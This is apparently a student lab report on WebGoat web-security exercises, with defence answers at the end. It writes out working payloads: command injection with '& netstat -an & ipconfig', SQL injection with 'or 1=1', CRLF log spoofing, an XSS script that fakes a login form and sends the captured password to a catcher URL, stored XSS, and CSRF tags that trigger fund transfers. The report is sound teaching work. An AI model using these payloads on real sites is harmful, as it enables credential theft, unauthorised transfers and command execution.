Exp9 Web安全基础
一、实验目标
理解和应用常用网络攻击技术的基本原理。
二、实验步骤
(一)SQL注入攻击
1.命令注入:Command Injection
原理:命令注入是通过在应用中执行宿主操作系统的命令,来达到破坏目的的一种攻击方式。如果我们的应用程序将不安全的用户输入传递给了系统命令解析器(shell),那么命令攻击就有可能发生。
步骤:
选中 Injection Flaws->Command Injection->inspect Element,右键选中inspect Elemnet,对图示的代码进行修改,在"helpfile"后添加"& netstat -an & ipconfig"。
点击view,查看命令执行结果,可以看到攻击成功,能够看到攻击方与被攻击方建立了连接。
2.数字型注入:Numeric SQL Injection
原理:当我们的Web app在向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么恶意访问者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
步骤:
选中Injection Flaws->Numeric SQL Injectio->inspect Element,对源代码value="101"修改,在101后面添加or 1=1。
or 1=1是返回正确的意思,能够使语句永真。
3.日志欺骗:Log Spoofing
原理:向日志添加虚假信息或插入脚本,管理员通过浏览器观看日志时恶意脚本会被执行。
步骤:
选择Injection Flaws->Log Spoofing,在User Name中输入webgoat%0d%0aLogin Succeeded for username: admin
随意输入密码后点击Login,可以看到webgoat登陆失败了,而admin登陆成功了。
(二)XSS攻击
1.XSS 钓鱼:Phishing with XSS
原理:创建一个表单,让受害者填写用户名和密码信息,然后会截取用户信息提交到webgoat上去。
步骤:
在搜索框中输入XSS攻击代码,代码如下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
在搜索框中输入攻击代码后点击Search,出现要输入用户名密码的表单,输入用户名密码,显示攻击成功。
2.Stored XSS Attacks(存储型XSS攻击)
原理:攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。
步骤:
在Title中随意输入,在message中输入攻击代码<script>alert("lxm attack succeed!");</script>,点击Submit,攻击成功。
(三)CSRF攻击
1.Cross Site Request Forgery
原理:写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,当用户点击图片,就会触发CSRF。
步骤:
在message框中输入代码<img src="http://localhost:8080/WebGoat/attack?Screen=325&menu=900&transferFunds=4301"/>,在页面右侧一栏可以看到Screen=324&menu=900。点击Submit后,可以看到转走用户4000元的信息,实现CSRF攻击。
2.CSRF Prompt By-Pass
原理:与1类似,构造CSRF攻击,其包括两个请求,一是转账请求,二是确认转账成功请求。需要额外传递两个参数给服务器(transferFunds=5000, transferFunds=CONFIRM)
步骤:
在message中输入以下代码:
<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe
攻击成功。
三、实验思考与体会
(一)基础问题回答
(1)SQL注入攻击原理,如何防御
原理:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
如何防御:对代码进行处理,使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;采用字符串过滤;jsp中调用该函数检查是否包含非法字符。
(2)XSS攻击的原理,如何防御
原理:黑客通过HTML注入篡改网页,插入恶意脚本,即代码注入,XSS攻击允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,获取目标攻击网站cookie,使其他用户受到影响。
如何防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容。
(3)CSRF攻击原理,如何防御
原理:攻击者盗用了用户的身份,以用户的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作。
如何防御:输入验证码来检测用户;在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token。
(二)实验体会
此次实验模拟了网络攻击的几种形式,可以看到在网站建设上要尽量的防止出现漏洞,以防被黑客所利用。